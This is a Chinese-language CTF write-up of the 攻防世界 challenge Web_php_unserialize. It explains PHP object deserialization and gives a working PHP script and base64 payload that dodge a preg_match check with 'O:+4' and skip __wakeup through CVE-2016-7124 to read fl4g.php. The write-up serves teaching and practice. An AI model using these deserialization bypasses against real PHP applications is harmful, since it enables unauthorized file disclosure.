AI智能
改变未来

攻防世界web进阶区Web_php_unserialize,序列化大详解

攻防世界web进阶区Web_php_unserialize详解

  • 题目
  • 详解
  • 正则
  • 魔术方法
  • CVE-2016-7124 wakeup绕过
  • 不同属性的对象序列化后字符格式是不一样的

题目


题目是一个php反序列化,这里放出了一个源码审计

详解

1-如果我们第一步匹配到了 o或者c:数字:
那么他会停止运行,停止运行后,会触发__destruct(),【问为什么,见魔术方法讲解】
2-我们如何绕过__wakeup()呢?
那么就是让他反序列化失败,然后运行停止,执行了__destruct()
就是只需要令序列化字符串中标识变量数量的值大于实 际变量即可绕过__wakeup()函数

<?phpclass Demo {private $file = \'index.php\';//protected $file1 = \'index.php\';public function __construct($file) {$this->file = $file;//$this->file1 = $file1;}function __destruct() {echo @highlight_file($this->file, true);}function __wakeup() {if ($this->file != \'index.php\') {//the secret is in the fl4g.php$this->file = \'index.php\';}}}//这里我们新定义一个类,参数是fl4g.php,复制他原来的类下来,是为了序列化$array= new Demo(\"fl4g.php\");$content=serialize($array);echo ($content);//O:4:\"Demo\":1:{s:10:\"Demofile\";s:8:\"fl4g.php\";}

O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}
序列化完成后,是这个,我们传入以后,并不能绕过wakeup
,因此,把1改成比1大即可,【为什么,见如下魔术方法绕过】
O:4:“Demo”:3:{s:10:“Demofile”;s:8:“fl4g.php”;}
3-这时候我们该绕过正则,让他进行反序列化
使用+可以绕过preg_match() 正则匹配这里匹配的是 O:4,我们用 O:+4 即可绕过。
O:+4:“Demo”:3:{s:10:“Demofile”;s:8:“fl4g.php”;}

这里我们没有绕过正则,发现,出现了stop hacking
注意:base64的时候,需要在脚本中,一并base,因为如果复制,就相当于在记事本中,记事本中的格式与序列化的格式不同,自然也就base64结果不同
这里可以使用正则替换,也可以使用手工替换+号,但是手工替换有问题在php定义变量时 <\\x00>类名<\\x00>,因此,直接复制时,并不能获取到两个\\00,详解见如下

<?phpclass Demo {private $file = \'index.php\';public function __construct($file) {$this->file = $file;}function __destruct() {echo @highlight_file($this->file, true);}function __wakeup() {if ($this->file != \'index.php\') {//the secret is in the fl4g.php$this->file = \'index.php\';}}}$obj = new Demo(\'fl4g.php\');$str = serialize($obj);//string(49) \"O:4:\"Demo\":1:{s:10:\"Demofile\";s:8:\"fl4g.php\";}\"$str1 = str_replace(\'O:4\', \'O:+4\',$str);//绕过preg_match$str2 = str_replace(\':1:\', \':2:\',$str1);//绕过wakeupvar_dump($str2);//string(49) \"O:+4:\"Demo\":2:{s:10:\"Demofile\";s:8:\"fl4g.php\";}\"var_dump(base64_encode($str2));//string(68) \"TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==\"?>




正则

/i 表示匹配的时候不区分大小写
\\d 匹配一个数字字符。等价于 [0-9]。
“+” 出现至少1次
[ ] 是定义匹配的字符范围
[oc]是匹配o或c任意一个
[xyz] 字符集合。匹配所包含的任意一个字符。例如, ‘[abc]’ 可以匹配 “plain” 中的 ‘a’。
\\d+是为了匹配[0-9]的数字,多次匹配!

”[oc]:“匹配的是,o:或者c:
\”[oc]:\\d+\”匹配的是o或者c:数字

\”[oc]:\\d+\”匹配的是o或者c:数字:

魔术方法

魔术方法,如果有反序列化的使用,在反序列化之前会先调用这个方法
function __wakeup()
当成员属性数目大于实际数目时可绕过wakeup方法,正则匹配可以用+号来进行绕过

php中带有双下划线(__)的是魔术方法,会在满足条件时自动调用

序列化是把数据类型压缩成一个字符串,方便处理,反序列化是把字符串还原成数据类型
正则表达式用于匹配字符串
观察demo类,有三个魔术方法:

__construct(),创建时自动调用,用得到的参数覆盖$file

__destruct(),销毁时调用,会显示文件的代码,这里要显示fl4g.php
__wakeup(),反序列化时调用,会把$file重置成index.php

CVE-2016-7124 wakeup绕过



将传入的序列化数据的对象变量个数由1更改为2,页面只执行了__destruct方法,而且输出name属性时报错,是由于反序列化数据时失败无法创建对象。

不同属性的对象序列化后字符格式是不一样的

转自这位大佬
最开始的我是先把序列化后的字符串输出 , 然后手工添加 \” + \” 号和破坏对象属性 , 最后再对其 Base64 编码后提交 , 但是始终拿不到 Flag

翻看了一会儿以前的笔记 , 突然发现了这个知识点

不同属性的对象序列化后字符格式是不一样的

Private属性 : 数据类型:属性名长度:&quot;\\00类名\\00属性名&quot;;数据类型:属性值长度:&quot;属性值&quot;;Protected属性 : 数据类型:属性名长度:&quot;\\00*\\00属性名&quot;;数据类型:属性值长度:&quot;属性值&quot;;Public属性 : 数据类型:属性名长度:&quot;属性名&quot;;数据类型:属性值长度:&quot;属性值&quot;;

本题中就有一个 Private 对象 , 会不会在复制粘贴时破坏了 \” \\00 \” 这个特殊字符呢 ? 可以实验一下~

将序列化后的字符串直接存入文件

将序列化后的字符串复制粘贴存入文件

vim 查看 a.txt 文件

果然 , 输出到命令行的序列化字符串格式已经被破坏 , 因此必须要在脚本中直接构造出完整的 Exp

那么我们直接复制出来的这两个空格也就可以解释了

赞(0) 打赏
未经允许不得转载:爱站程序员基地 » 攻防世界web进阶区Web_php_unserialize,序列化大详解